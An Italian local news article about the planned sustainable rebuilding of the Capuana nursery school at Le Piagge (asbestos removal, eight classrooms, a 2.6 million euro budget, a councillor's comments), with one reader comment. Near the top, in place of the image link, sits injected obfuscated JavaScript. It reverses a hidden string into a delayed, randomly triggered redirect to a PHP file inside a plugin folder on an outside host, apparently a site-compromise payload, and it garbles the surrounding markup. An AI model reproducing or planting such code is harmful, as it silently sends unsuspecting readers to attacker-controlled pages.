Bioedilizia e risparmio energetico, alle Piagge la prima scuola sostenibile

image_pdfimage_print
$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/10/bioscuola.jpg”>
La nuova scuola Capuana

Risparmio energetico e spazi che favoriscono la salute dei bambini e il loro apprendimento. Sono i principi cui si ispira il progetto, già finanziato, per la realizzazione della nuova scuola materna Capuana, in via Campania alle Piagge, che interessa una superficie complessiva di 5.500 metri.

Oltre alla completa bonifica dall’amianto e alla demolizione dell’edificio esistente (il fabbricato è di 1.570 metri quadrati), il nuovo complesso prevede la realizzazione di otto nuove aule che accoglieranno anche i bambini provenienti dalla Duca D’Aosta. In tutto ne saranno ospitati 200.

Il progetto è stato approvato martedì scorso dalla giunta comunale, prevede un investimento pari a 2milioni e 600mila euro. I lavori, che dureranno circa 8 mesi, avranno inizio nei primi mesi del 2011.

Per la realizzazione degli impianti e di altre opere saranno utilizzati sistemi e materiali improntati al risparmio energetico e alla bio-edilizia. La progettazione, ad esempio, è stata effettuata con l’obiettivo di ottenere la maggior qualità possibile in termini di illuminazione degli spazi interni. Grazie a sistemi di ‘schermatura solare’, inoltre, sarà possibile a dare protezione alle aule nei mesi più caldi. I materiali, invece, sono per la maggior parte naturali e poveri di formaldeide.

Il nuovo edificio progettato è previsto svilupparsi solo al piano terra con gli ambienti in diretto contatto con gli spazi esterni. Ci sarà anche la riqualificazione delle aree a verde interessate dai lavori: in questo modo anche questi spazi saranno utilizzabili dai bambini.

«Lo sviluppo urbanistico della zona delle Piagge – ha detto l’assessore Di Giorgi – non è stato accompagnato da un’adeguata programmazione del fabbisogno delle strutture scolastiche. In sostanza i plessi scolastici non sempre sono stati concepiti e visti come parte integrante del tessuto urbano e parte essenziale della crescita della città. Scuole come la Duca d’Aosta sono diventate così il riferimento unico per ospitare e sopperire alle crescenti esigenze di un quartiere con elevato incremento demografico e della popolazione in età scolare. La stessa realizzazione della vecchia materna Capuana – ha proseguito l’assessore – costruita con pannelli prefabbricati in cemento negli anni Ottanta, per l’urgenza di rispondere velocemente alle crescenti richieste di aule scolastiche, non ha mai risposto alle effettive necessità del territorio né sotto il profilo della funzionalità, né sotto il profilo dell’ampiezza. Così, immediatamente dopo la sua realizzazione, fu deciso di destinare una parte delle piano terreno della scuola primaria Duca d’Aosta a scuola dell’infanzia per rispondere alla sempre crescente richiesta di scolarizzazione degli alunni in età 3-6 anni».

0 Comments

  1. massimo parrini

    Bella come idea.
    Ed adesso aspetto la sua realizzazione.

    Riguardo agli spazi verdi, non capisco perchè non abbiano pensato anche alla realizzazione di un’area umida. In modo che i bimbi prendano contatto con quello che sarebbe l’ambiente naturale del luogo.
    O, meglio, si poteva mettere il tutto in collegamento col risananmento dell’area della cosiddetta “Palude delle Piagge” confinante con l’asilo, per creare uno spazio verde dove far stare a lungo i bimbi dell’asilo, rispondendo così al loro innato bisogno di stare a contatto con la natura, che permette anche di ovviare al cosiddetto “deficit di natura” di cui i bambini, ma anche noi adulti, siamo sempre più affetti…

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *